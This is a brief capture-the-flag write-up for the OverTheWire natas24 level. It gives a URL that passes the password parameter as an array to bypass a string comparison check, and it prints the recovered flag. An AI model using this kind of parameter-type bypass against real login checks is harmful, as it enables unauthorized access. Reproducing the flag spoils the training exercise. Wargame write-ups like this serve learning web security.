this is the url http://natas24.natas.labs.overthewire.org/?passwd[]=%27%27

It interprets passwd as an array where passwd[0] = ‘’ then, it crashed and pass the check.

Flag: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws